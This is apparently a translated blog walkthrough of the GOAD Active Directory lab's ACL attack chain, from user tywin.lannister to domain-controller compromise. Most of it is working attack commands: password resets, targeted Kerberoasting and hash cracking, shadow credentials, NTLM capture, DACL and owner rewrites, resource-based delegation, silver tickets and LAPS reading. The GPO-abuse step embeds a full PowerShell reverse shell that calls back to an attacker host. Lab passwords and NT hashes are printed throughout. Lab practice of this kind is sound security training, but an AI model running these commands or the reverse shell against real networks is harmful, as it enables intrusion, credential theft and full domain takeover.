kingsguard -> stannis : Generic all on User

0 34
IntroductionThis is my first article, please forgive my shortcomings.It also sim...

Introduction

This is my first article, please forgive my shortcomings.

It also simply reproduces the target range

kingsguard -> stannis : Generic all on User

This environment is the GOAD ACL environment

[Orange-Cyberdefense/GOAD: game of active directory (github.com)](https://)

image-20230610161318164

First, we will start from tywin.lannister (password: powerkingftw135)Start paying attention to the sevenkingdoms ACL kill chain

  • The path here is:

    The path here is:

    User and user

    Tywin -> Jaime: Change password user

    Jaime -> Joffrey: GenericWrite user Joffrey -> Tyron: User WriteDacl

    User and group

    Tyron -> small council: Add member to the group

    Groups and groups

    Small council -> dragon stone: Write the owner group to group dragonstone -> kingsguard: Write the owner to group

    Groups and users

    kingsguard -> stannis : Generic all on User

    User and computer

    stannis -> kingslanding : General on computer


GPO abuse

Read Laps password

Tywin -> Jaime: Change password user

image-20230610162135102

Here, Tywin has the permission to force change the password for Jaime

I heard it's impossible to have this permission -.-


Change the password to Qwer123!

net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local

crackmapexec smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p Qwer123!

image-20230610161950357





Jaime -> Joffrey: GenericWrite user

image-20230610162351806


With Jaime's password, we will now take advantage of GenericWrite from Jaime to Joffrey

This may abuse 3 different technologies:

shadowCredentials (Windows Server 2016 or +) targetKerberoasting (the password should be weak enough to be cracked) logonScript (this requires a user connection, to be honest, it has never worked, or unless a script already in sysvol is used)


Target Kerberoasting

  • First, let's do a target Kerberoasting. The principle is very simple. Add SPN to the user, request tgs, and then delete the user's SPN.

  • Now we can crack TGS just like the classic kerberoasting.

  • Shutdown has a tool that can do all the work for you:https://github.com/ShutdownRepo/targetedKerberoast


targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p Qwer123! --request-user joffrey.baratheon

image-20230610163016014

hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force

image-20230610163632766


Obtain joffey's password

Shadow credential

certipy can obtain joffrey's TGT and hash

certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'

image-20230610164346632


Logon script

ldeep ldap -u jaime.lannister -p 'Qwer123!' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath

image-20230610165116244

The author says this doesn't work

Another method of abuse of GenericWrite is to change profilePath and wait for the connection to obtain NetNtlmv2 authentication and relay to another computer or crack it.

#teat.py
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "Qwer123!"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.2\share')]})
print(ldap_con.result)
ldap_con.unbind()

image-20230610170004277

Start the responder by initiating an RDP connection and simulate Joffrey's connection to relay and obtain the NetNLMV2 hash values for joffrey.baratheon and kingslanding$!

responder -I eth1
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80% /cert-ignore

image-20230610165626858




Joffrey -> Tyron: User WriteDacl

image-20230610162246794

To exploit the writeDacl from Joffrey to Tyron, we can use dacledit.py

  • Firstly, we will clone the fork of impacket created by shutdown (@_nwodtuhs) to use dacledit and get the latest PR

git clone https://github.com/ThePorgs/impacket.git 
cd impacket  
python3 setup.py install

Let's first take a look at the permissions of Joffrey for tyron:

dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

image-20230610170624849

Joffrey has the writeDACl permission for tyron

dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon  -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'


image-20230610171103592

Write a fullcontrol permission

Alright, now we can: Change Tyron's password

net rpc password tyron.lannister -U sevenkingdoms.local/joffrey.baratheon%1killerlion -S kingslanding.sevenkingdoms.local

image-20230610171612876

Create a targeted Kerberoasting

python targetedKerberoast.py -v -d sevenkingdoms.local -u joffrey.baratheon -p '1killerlion' --request-user 'tyron.lannister'

image-20230610172156340

hashcat -m 13100 -a 0 tyron.hash pass.txt --force

image-20230610172252521

Create a shadow credential

certipy shadow auto -u c@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'

image-20230610171737286

Tyron -> small council: Add member to the group

image-20230610173034442

To add a member, the user and group's distinguishedName are required

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName

image-20230610173348723

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"

image-20230610173455736

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'

image-20230610173526136

Addition successful




Small council -> dragon stone: Write the owner group into the group

image-20230610173834517


Now as tyron, we are in the Small Council, so we can add a member to the DragonStone group. So we add tyron as before

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'DragonStone'

image-20230610174028564


dragonstone -> kingsguard: Write the owner into the group

image-20230610174242476

Note: Use the impacket environment above

owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1' sevenkingdoms.local/tyron.lannister
owneredit.py -action read -target 'kingsguard' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1' sevenkingdoms.local/tyron.lannister

image-20230610175204779



The owner of the kingsguard group is now tyron.lannister.

As the owner of the group, we can now change the acl and provide GenericAll access to us within the group.

dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1'

image-20230610180937458

Using GenericAll, we can now add tyron to the kingsguard group; however, the owner of the kingsguard group, tyron, is not a member of the group.

ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'kingsguard'

image-20230610182301330





kingsguard -> stannis : Generic all on User


image-20230610180656426


With genericall, you can directly change the password

net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%dc74e4b573eb79b4c4e24b00101fc1a1 -S kingslanding.sevenkingdoms.local
crackmapexec smb 192.168.56.10 -u stannis.baratheon -d sevenkingdoms.local -p Qwer123!

image-20230610182645595




stannis -> kingslanding : General on computer

image-20230610182752628

Resource constrained delegation

One way to abuse this permission is to use resource-based constrained delegation

Create computer X (rbcd$)
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Qwer123!'
Add delegation from X (rbcd$) to our target
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Qwer123!

image-20230610183355495



Now X (rbcd$) has obtained the delegation permission for our target, you can now perform s4u2self queries and then execute S4u2proxy
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd$:rbcdpass'

export KRB5CCNAME=/workspace/rbcd/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local

image-20230610183649656


rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'flush' sevenkingdoms.local/stannis.baratheon:Qwer123!
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/cersei.lannister:il0vejaime' -delete

Shadow credential

Another type is shadow credential

certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Qwer123!' -account 'kingslanding$'

image-20230610182953308


Now we have the tgt and NT hash for kingslanding$

It is obvious that we can do a dcsync because kingslanding is a DC, but we tried to get a shell directly

The simplest way to do this is to use s4u2self abuse or create a silver ticket

s4u2self abuse

export KRB5CCNAME=kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'

image-20230610184510021

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

image-20230610184850048

Silver Ticket

Find domain SID:

lookupsid.py -hashes ':8dc883110158b424957d747ea0d2cae1' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0

image-20230610185053107

ticketer.py -nthash '8dc883110158b424957d747ea0d2cae1' -domain-sid 'S-1-5-21-3621576433-799811104-949646468' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

image-20230610185351772



GPO abuse


image-20230610190013619

GPO abuse exists in the north domain

image-20230610191932087

gpofilepath knows gpoid

python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "40EB1D54-F395-4B16-ACE2-6F127D0B82B9" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.2',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" -taskname "abuse_gpo" -f -description "don't worry"
[+] ScheduledTask abuse_gpo created!


image-20230610192742127


image-20230610192944911


Read Laps password

image-20230610193901249

crackmapexec ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps

image-20230610200043983

REF:

GOAD - Part 11 - ACL | Mayfly --- GOAD - The 11th Part - ACL | Mayfly (mayfly277.github.io)

Domain Penetration GOAD (Game Of Active Directory) v2 (Part 3) - Xianzhi Community (aliyun.com)

你可能想看:
最后修改时间:
admin
上一篇 2025年03月30日 17:55
下一篇 2025年03月30日 18:18

评论已关闭